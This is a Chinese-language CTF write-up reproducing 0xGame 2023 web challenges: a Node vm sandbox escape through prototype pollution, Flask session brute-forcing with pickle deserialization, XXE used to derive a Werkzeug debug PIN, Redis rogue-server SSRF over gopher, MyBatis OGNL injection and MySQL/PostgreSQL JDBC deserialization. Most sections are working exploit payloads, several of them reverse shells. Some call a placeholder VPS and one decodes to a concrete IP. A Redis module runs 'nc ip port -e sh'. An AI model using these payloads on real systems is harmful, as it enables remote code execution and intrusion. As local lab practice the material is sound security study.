0xGame 2023 部分题目复现与学习

Natro922024-03-22

前言

之前看到这个一直想搞，但是鸽了没有复现，提供了不少经典的内容，这里挑几个感兴趣的复现一下。
官方WP及docker下载：https://github.com/X1cT34m/0xGame2023/tree/main

Week 2

ez_sandbox

之前一直没学习过vm沙箱逃逸。于是趁这个简单题学习一下。
docker部署（对应文件夹下）：

1 2	docker build -t ez_sandbox -f .\Dockerfile . docker run -p 8111:3000 --name ez_sandbox [imageId]

源码：

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
  secret: crypto.randomBytes(64).toString('hex'),
  resave: false,
  saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) { //污染函数
  for (let key in source) {
    if (key === '__proto__') {
      continue
    }
    if (key in source && key in target) {
      merge(target[key], source[key])
    } else {
      target[key] = source[key]
    }
  }
  return target
}

function clone(source) { //调用污染函数点
  return merge({}, source)
}

function waf(code) {
  let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
  for (let v of blacklist) {
    if (code.includes(v)) {
      throw new Error(v + ' is banned')
    }
  }
}

function requireLogin(req, res, next) {
  if (!req.session.user) {
    res.redirect('/login')
  } else {
    next()
  }
}

app.use(function(req, res, next) {
  for (let key in Object.prototype) {
    delete Object.prototype[key]
  }
  next()
})

app.get('/', requireLogin, function(req, res) {
  res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
  res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
  res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
  let { username, password } = clone(req.body)

  if (username in users && password === users[username]) {
    req.session.user = username

    if (username in admins) {
      req.session.role = 'admin'
    } else {
      req.session.role = 'guest'
    }

    res.send({
      'message': 'login success'
    })
  } else {
    res.send({
      'message': 'login failed'
    })
  }
})

app.post('/register', function(req, res) {
  let { username, password } = clone(req.body)

  if (username in users) {
    res.send({
      'message': 'register failed'
    })
  } else {
    users[username] = password
    res.send({
      'message': 'register success'
    })
  }
})

app.get('/profile', requireLogin, function(req, res) {
  res.send({
    'user': req.session.user,
    'role': req.session.role
  })
})

app.post('/sandbox', requireLogin, function(req, res) {
  if (req.session.role === 'admin') {
    let code = req.body.code
    let sandbox = Object.create(null)
    let context = vm.createContext(sandbox)

    try {
      waf(code)
      let result = vm.runInContext(code, context)
      res.send({
        'result': result
      })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

看到merge就知道要原型链污染，来让我们用admin的身份登录。但是这里ban了一些字段：let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
而且在merge中也将__proto__参数禁用了：

function merge(target, source) { //污染函数
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) { //调用污染函数点
    return merge({}, source)
}

但是这里无伤大雅，可以使用：constructor.prototype来进行替代。
register和login中都用了clone，我们在任一个中污染即可。
于是我们可以构造出内容：

{
  "username": "natro92",
  "password": "123",
  "constructor": {
    "prototype": {
      "natro92": "123"
    }
  }
}

然后就是vm沙箱逃逸：

https://xz.aliyun.com/t/11859 vm沙箱逃逸

vm沙箱逃逸的本质就是获取到沙箱外的对象，然后获取到它的constructor的属性。
通过引用arugments.callee.caller获取到函数的调用者，来获取到process对象，再引用child_process来进行命令执行。
这里官方WP使用的用中括号和+来进行绕过。

https://www.anquanke.com/post/id/237032 nodejs中代码执行绕过的一些技巧

Payload：

// method 1
throw new Proxy({}, { // Proxy 对象用于创建对某一对象的代理, 以实现属性和方法的拦截
  get: function(){ // 访问这个对象的任意一个属性都会执行 get 指向的函数
    const c = arguments.callee.caller
    const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
    return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
  }
})
// method 2
let obj = {} // 针对该对象的 message 属性定义一个 getter, 当访问 obj.message 时会调用对应的函数
obj.__defineGetter__('message', function(){
  const c = arguments.callee.caller
  const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
  return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj
// 或者模板字符串
throw new Proxy({}, {
    get: function(){
      const cc = arguments.callee.caller;
      const p = (cc[`${`constructo`}r`][`${`constructo`}r`](`return ${`proces`}s`))();
      return p[`${`mainModul`}e`][`${`requir`}e`]('child_pr'+'ocess')[`${`exe`}cSync`}`]('id').toString();
}
});

运行即可。

Week3

notebook

https://www.leavesongs.com/PENETRATION/client-session-security.html 客户端 session 导致的安全问题

部署：

1 2	docker build -t notebook -f .\Dockerfile . docker run -p 8111:8000 --name notebook [imageId]

考察pickle反序列化。

from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
    def __init__(self, name, content):
        self._name = name
        self._content = content

    @property
    def name(self):
        return self._name

    @property
    def content(self):
        return self._content


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')

    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')

    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')

    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')

    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)

    if not session.get('notes'):
        session['notes'] = {}

    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
    note_id = request.form.get('note_id')
    if not note_id:
        return render_template('index.html')

    notes = session.get('notes')
    if not notes:
        return render_template('index.html', status='delete_failed', msg='You have no notes')

    if not notes.get(note_id):
        return render_template('index.html', status='delete_failed', msg='This note does not exist')

    del notes[note_id]
    session['notes'] = notes
    return render_template('index.html', status='delete_success')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

很早之前就接触了，但是因为各种原因都鸽了。现在学下：
flask的session存储在cookie中，加密手段和JWT类似，也就是虽然有secretkey进行签名，但是有和JWT类似的缺点，可以看到session中存储的信息，只不过无法进行修改。
这里使用的secretkey只有4位。

1	app.config['SECRET_KEY'] = os.urandom(2).hex()

位数过短就会出现被爆破的问题。
简单编写一个生成脚本：

import itertools

# * 生成四位
d = itertools.product('0123456789abcdef', repeat=4)

# * 写入字典
with open('dict.txt', 'w') as f:
    for i in d:
        f.write(''.join(i) + '\n')

解析之前任意生成一个note即可，这里有session。

使用工具进行爆破：

https://github.com/noraj/flask-session-cookie-manager
https://github.com/Paradoxis/Flask-Unsign

第一个用过了，试一试第二个，我这里用wsl运行的。

# 安装
pip3 install flask-unsign
# 使用
flask-unsign -u -c '.eJwtit0KgjAYQF8ldj9w080peKGSKKXgv3j5ibNkWlBkIL57Rp3Lc86K5tuzfyB7RUSaHedCxyblBjYYFxh0yrDoOSOkI8KQ5vc7ALLR4OZVmrp__NgPLAl1cAdlSRUtx2KytLbNC-VPngppeYqWoKHsAnVdjm6mtU2i7V_U0OQFc6ZgznffveMx-bWwup4Hx0Hbtn0A-N4xZw.Zffpvw.dynBsAEyjpu1xW4uarnO-6eJHdk' -w dicts.txt --no-literal-eval

5f5a
然后就是pickle反序列化。

https://xz.aliyun.com/t/7436

@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')

    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')

    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)

import pickle
import os

class genpoc(object):
    def __reduce__(self):
        s = """echo test > poc.txt"""  # 要执行的命令
        return os.system, (s,)        # reduce函数必须返回元组或字符串

e = genpoc()
poc = pickle.dumps(e)

print(poc) # 此时，如果 pickle.loads(poc)，就会执行命令

这里在官方wp中有几个问题，我觉得挺重要的：

pickle.dumps()生成的payload在windows和linux中执行的结果不同。
1
2
3
4
5
# Linux (注意 posix)
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

# Windows (注意 nt)
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
以及提及了一个我一直以来的问题：
为什么有的时候可以用bash -i，但是有的时候不可以。
https://www.k0rz3n.com/2018/08/05/Linux反弹shell（一）文件描述符与重定向/
https://www.k0rz3n.com/2018/08/05/Linux%20反弹shell%20（二）反弹shell的本质/

然后你得知道上面这个反弹 shell 的语法其实是 bash 自身的特性, 而其它 shell 例如 sh, zsh 并不支持这个功能
对于题目的环境而言, 当你执行这条命令的时候, 它实际上是在 sh 的 context 中执行的, >& 以及 /dev/tcp/IP/Port 会被 sh 解析, 而不是 bash, 因此会报错
也就是说，并不是可能使用的不是bash就会导致这些问题，解决方法也就是网上常用的套一层bash -c

1	bash -c "bash -i >& /dev/tcp/xxxx/8888 0>&1"

然后构造payload即可（这里用dnslog或者bp的外带也可。）

1	flask-unsign --sign --cookie "{'notes': {'evil': b'''cos\nsystem\n(S'bash -c \"bash -i >& /dev/tcp/[your-vps-ip]/8888 0>&1\"'\ntR.'''}}" --secret 5f5a --no-literal-eval

rss_parser

部署

1 2	docker build -t rss_parser -f .\Dockerfile . docker run -p 8111:8000 --name rss_parser [imageId]

源码：

from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        feed_url = request.form['url']
        if not re.match(r'^(http|https)://', feed_url):
            return redirect('/')

        content = requests.get(feed_url).content
        tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

        result = {}

        rss_title = tree.find('/channel/title').text
        rss_link = tree.find('/channel/link').text
        rss_posts = tree.findall('/channel/item')

        result['title'] = rss_title
        result['link'] = rss_link
        result['posts'] = []

        if len(rss_posts) >= 10:
            rss_posts = rss_posts[:10]

        for post in rss_posts:
            post_title = post.find('./title').text
            post_link = post.find('./link').text
            result['posts'].append({'title': post_title, 'link': unquote(post_link)})
 
        return render_template('index.html', feed_url=feed_url, result=result)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

从内容上可以看出是解析rss的订阅的内容。但是我测试了一下我的rss会报错？
etree.parse存在XXE漏洞。

1	etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

当resolve_entities被设置为True时，就会解析XXE实体。

https://github.com/MisakiKata/python_code_audit/blob/master/XXE.md

XXE payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///file/place">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>&file;</title>
    <link>https://natro92.fun/</link>
    <item>
      <title>test</title>
      <link>https://natro92.fun/</link>
    </item>
  </channel>
</rss>

这里我简单说一下怎么快速起一个html页面：

用httpd快速起一个HTML页面

使用httpd来搭建：

# 安装httpd，根据使用的系统
yum install httpd
# 在这之后会生成 /var/www/html 文件夹
systemctl start httpd
# 这时你可以访问到默认页面，在/var/www/html下放置html文件在80端口进行访问。

然后将地址放置到题目中：
这里不能直接读取到flag，但由于使用了Flask的debug模式，因此可以使用PIN code来进行
将读取文件的位置修改为/sys/class/net/eth0/address

转为十进制：

1 2	print(int('02:42:ac:11:00:02'.replace(':',''),16)) 2485377892354

https://xz.aliyun.com/t/8092
https://www.tr0y.wang/2022/05/16/SecMap-flask/

然后读取/proc/sys/kernel/random/boot_id

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///proc/sys/kernel/random/boot_id">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>&file;</title>
    <link>https://natro92.fun/</link>
    <item>
      <title>test</title>
      <link>https://natro92.fun/</link>
    </item>
  </channel>
</rss>

86be6524-f2c2-41a1-8ee3-9462e5a3f4a9
再读取/proc/self/cgroup。
0::/docker/f8a44004ca3dec942aa726196408e53a8a96d170932016d40ae77122b0ac9ab4
再读取/etc/machine-id/（这里docker不用看这个）
username一般是root或用户app

import hashlib
from itertools import chain
probably_public_bits = [
    'app'# username /etc/passwd
    'flask.app',# modname 默认值
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) 默认值
    '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None), 报错得到
]

private_bits = [
    '2485377892354',# /sys/class/net/eth0/address 十进制
    '86be6524-f2c2-41a1-8ee3-9462e5a3f4a9'
    # 字符串合并：1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id，有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
else:
    rv = num

print(rv)

然后运行/readflag即可。

zip_manager

部署

1 2	docker build -t zip_manager -f .\Dockerfile . docker run -p 8111:8000 --name zip_manager [imageId]

或者

1	docker compose up -d

但这题似乎docker有问题，没搭建成。
考点是软链接和命令注入。

1 2	ln -s / test zip -y test.zip test

上传后访问http://127.0.0.1:50033/test/test/

web_snapshot

这题用curl函数将html保存在Redis中。存在ssrf。但是限制了协议只能http/https。
使用curl_setopt设置了CURLOPT_FOLLOWLOCATION，可以让curl根据返回头的Location进行重定向。

https://www.php.net/manual/zh/function.curl-setopt.php

可以通过设置为true和Location来将http重定向到dict、gopher协议。

但是web服务和redis服务不在同一个服务器，不能写入shell来RCE。

https://www.cnblogs.com/xiaozi/p/13089906.html redis主从复制rce
https://github.com/Dliv3/redis-rogue-server redis主从复制

通过设置slave of参数达到设置主从状态。
主机的值的修改会同步到从机上。
官方WPpayload：

import requests
import re

def urlencode(data):
    enc_data = ''
    for i in data:
        h = str(hex(ord(i))).replace('0x', '')
        if len(h) == 1:
            enc_data += '%0' + h.upper()
        else:
            enc_data += '%' + h.upper()
    return enc_data

def gen_payload(payload):

    redis_payload = ''

    for i in payload.split('\n'):
        arg_num = '*' + str(len(i.split(' ')))
        redis_payload += arg_num + '\r\n'
        for j in i.split(' '):
            arg_len = '$' + str(len(j))
            redis_payload += arg_len + '\r\n'
            redis_payload += j + '\r\n'

    gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload)
    return gopher_payload

payload1 = '''
slaveof host.docker.internal 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''

payload2 = '''slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit
'''

print(gen_payload(payload1))
print(gen_payload(payload2))

分两次打，放置：
vps起php文件 php -S 0.0.0.0:port 或者apache或nginx。
恶意Redis server：

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

1	python3 redis_rogue_server.py -v -lport 8888 -path exp.so

RedisModulesSDK/exp/exp.c 一个函数，make编译后生成的exp.so

https://github.com/vulhub/redis-rogue-getshell

int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (argc == 3) {
        size_t cmd_len;
        char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
        char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
        int port = atoi(port_s);
        int pid;
        char * succ= "+OK";
        pid = fork();
        if (pid || pid == -1){
            RedisModuleString *ret = RedisModule_CreateString(ctx, succ, strlen(succ));
            RedisModule_ReplyWithString(ctx, ret);
            RedisModule_FreeString(ctx,ret);
            return REDISMODULE_OK;
        }

        system("nc ip port -e sh");

        return REDISMODULE_OK;

    } else {
        return RedisModule_WrongArity(ctx);
    }
    return REDISMODULE_OK;
}

<?php

  // step 1
  header('Location: gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%30%0D%0A%68%6F%73%74%2E%64%6F%63%6B%65%72%2E%69%6E%74%65%72%6E%61%6C%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');

// step 2
// header('Location: gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');

这个环境我搞起来也多少有点问题😵没复现成功。

GoShop

1	docker-compose up

访问ip:50033

if user.Money >= product.Price*int64(n) {
    user.Money -= product.Price * int64(n)
    user.Items[product.Name] += int64(n)
    c.JSON(200, gin.H{
        "message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
    })
} else {
    c.JSON(200, gin.H{
        "message": "You don't have enough money",
    })
}

go是强类型语言。虽然会在定义时检查变量是否溢出，但是不会检测运算时是否出现溢出。
可以控制n使product.Price * int64(n)溢出为负数，在进行user.Money -= product.Price * int64(n)时就会出现金钱数增加的情况。

Week4

spring

最喜欢的一集，hvv靠这个捞了点分。
actuator信息泄露。直接访问/actuator/env发现信息：

然后访问/actuator/heapdump
用JDumpSpider读取：

https://github.com/whwlsfb/JDumpSpider

1	java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar "D:\heapdump"

读取即可：

auth_bypass

题目附件给了 AuthFilter.java 和 DownloadServlet.java。

package com.example.demo;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class AuthFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig)  {
    }

    @Override
    public void destroy() {
    }

    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;

        if (request.getRequestURI().contains("..")) {
            resp.getWriter().write("blacklist");
            return;
        }

        if (request.getRequestURI().startsWith("/download")) {
            resp.getWriter().write("unauthorized access");
        } else {
            chain.doFilter(req, resp);
        }
    }
}

package com.example.demo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.FileInputStream;
import java.io.IOException;

public class DownloadServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String currentPath = this.getServletContext().getRealPath("/assets/");
        Object fileNameParameter = req.getParameter("filename");
        if (fileNameParameter != null) {
            String fileName = (String) fileNameParameter;
            resp.setHeader("Content-Disposition","attachment;filename="+fileName);
            try (FileInputStream input = new FileInputStream(currentPath + fileName)) {
                byte[] buffer = new byte[4096];
                while (input.read(buffer) != -1) {
                    resp.getOutputStream().write(buffer);
                }
            }
        } else {
            resp.setContentType("text/html");
            resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
        }
    }
}

任意文件读取。需要绕过..和/download

https://www.cnblogs.com/depycode/p/16124191.html

getRequestURI()不会自动urldecode，不会进行标准化去掉/和.，因此可以通过//download进行访问，但是无法读取flag，所以需要RCE。
题目用war打包。
blog1698850966288-8e5b064d-bdd6-4201-9fbf-a507555dfebd.png
tomcat在部署war时会将其解压，WEB-INF中存在编译好的class文件和web.xml。
下载web.xml
//download?filename=%2e%2e/WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0">

  <servlet>
    <servlet-name>IndexServlet</servlet-name>
    <servlet-class>com.example.demo.IndexServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>DownloadServlet</servlet-name>
    <servlet-class>com.example.demo.DownloadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>EvilServlet</servlet-name>
    <servlet-class>com.example.demo.EvilServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>IndexServlet</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>DownloadServlet</servlet-name>
    <url-pattern>/download</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>EvilServlet</servlet-name>
    <url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern>
  </servlet-mapping>

  <filter>
    <filter-name>AuthFilter</filter-name>
    <filter-class>com.example.demo.AuthFilter</filter-class>
  </filter>

  <filter-mapping>
    <filter-name>AuthFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
</web-app>

能发现存在一个EvilServlet在/You_Find_This_Evil_Servlet_a76f02cb8422
先下载EvilServlet。

1	//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class

在JD-GUI中反编译打开。

import java.io.IOException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class EvilServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78");
        try {
            Runtime.getRuntime().exec(cmd);
            resp.getWriter().write("success");
        } catch (Exception e) {
            resp.getWriter().write("error");
        } 
    }
}

直接执行命令。
反弹shell即可。

注意传入Runtime.exec的命令需要进行一次编码
https://www.adminxe.com/tools/code.html
https://ares-x.com/tools/runtime-exec/
https://github.com/Threekiii/Awesome-Redteam/blob/master/scripts/runtime-exec-payloads.html
https://www.anquanke.com/post/id/243329
https://y4er.com/posts/java-exec-command/

urlencode一次：

YourBatis

存在mybatis 2.1.1 OGNL表达式注入。

https://www.cnpanda.net/sec/1227.html
https://forum.butian.net/share/1749

这有一个小坑, 如果 jar 包使用 JD-GUI 反编译的话就无法正常得到 UserSqlProvider 这个类的内容, 必须得使用 IDEA 自带的反编译器或者 Jadx-GUI 等其它工具才行
/user路由

package com.example.yourbatis.provider;

import org.apache.ibatis.jdbc.SQL;

public class UserSqlProvider {
    public UserSqlProvider() {
    }

    public String buildGetUsers() {
        return (new SQL() {
            {
                this.SELECT("*");
                this.FROM("users");
            }
        }).toString();
    }

    public String buildGetUserByUsername(final String username) {
        return (new SQL() {
            {
                this.SELECT("*");
                this.FROM("users");
                this.WHERE(String.format("username = '%s'", username));
            }
        }).toString();
    }
}

username存在SQL注入。
如果正常用OGNL表达式反弹shell：

1
2
3

${@java.lang.Runtime@getRuntime().exec("bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTUuMjA0LjEwMS84ODg4IDA+JjE=}|{base64,-
d}|{bash,-i}")}

传入内容中的{}会被解释为另一个OGNL表达式，使用OGNL调用Java自身的base64 decode方法。

${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzgwTnk0eE1UVXVNakEwTGpFd01TODRPRGc0SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQ==')))}

然后urlencode全部内容：

%24%7b%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%40%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%27%59%6d%46%7a%61%43%41%74%59%79%42%37%5a%57%4e%6f%62%79%78%5a%62%55%5a%36%59%55%4e%42%64%47%46%54%51%53%74%4b%61%55%46%32%57%6b%64%57%4d%6b%77%7a%55%6d%70%6a%51%7a%67%77%54%6e%6b%30%65%45%31%55%56%58%56%4e%61%6b%45%77%54%47%70%46%64%30%31%54%4f%44%52%50%52%47%63%30%53%55%52%42%4b%30%70%71%52%54%31%39%66%48%74%69%59%58%4e%6c%4e%6a%51%73%4c%57%52%39%66%48%74%69%59%58%4e%6f%4c%43%31%70%66%51%3d%3d%27%29%29%29%7d

TestConnection

JDBC连接
pom.xml

<dependency>
  <groupId>mysql</groupId>
  <artifactId>mysql-connector-java</artifactId>
  <version>8.0.11</version>
  <scope>runtime</scope>
</dependency>

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.2.1</version>
</dependency>

<dependency>
  <groupId>org.postgresql</groupId>
  <artifactId>postgresql</artifactId>
  <version>42.3.1</version>
  <scope>runtime</scope>
</dependency>
</dependencies>

mysql、postgresql和cc依赖。
MYSQL JDBC 反序列化：

https://tttang.com/archive/1877/#toc_

mysql jdbc利用工具：

https://github.com/4ra1n/mysql-fake-server
https://github.com/rmb122/rogue_mysql_server

方法一

这里用mysql-fake-server示例。
jdbc连接的是你开的恶意Mysql数据库：

payload：

/testConnection?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://192.168.124.9:43114/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSAxxxxxjEwMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}&password=123

jdbc url编码一层：

/testConnection?driver=com.mysql.cj.jdbc.Driver&url=%6a%64%62%63%3a%6d%79%73%71%6c%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%39%3a%34%33%31%31%34%2f%74%65%73%74%3f%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65%3d%74%72%75%65%26%71%75%65%72%79%49%6e%74%65%72%63%65%70%74%6f%72%73%3d%63%6f%6d%2e%6d%79%73%71%6c%2e%63%6a%2e%6a%64%62%63%2e%69%6e%74%65%72%63%65%70%74%6f%72%73%2e%53%65%72%76%65%72%53%74%61%74%75%73%44%69%66%66%49%6e%74%65%72%63%65%70%74%6f%72&username=%64%65%73%65%72%5f%43%43%33%31%5f%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%78%4d%54%55%75%4d%6a%41%30%4c%6a%45%77%4d%53%38%34%4f%44%67%34%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d&password=123

然后打过去：

方法二用postgresql驱动

构造xml：

https://xz.aliyun.com/t/11812

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

前面可以用httpd快速开放一个服务即可。
payload：

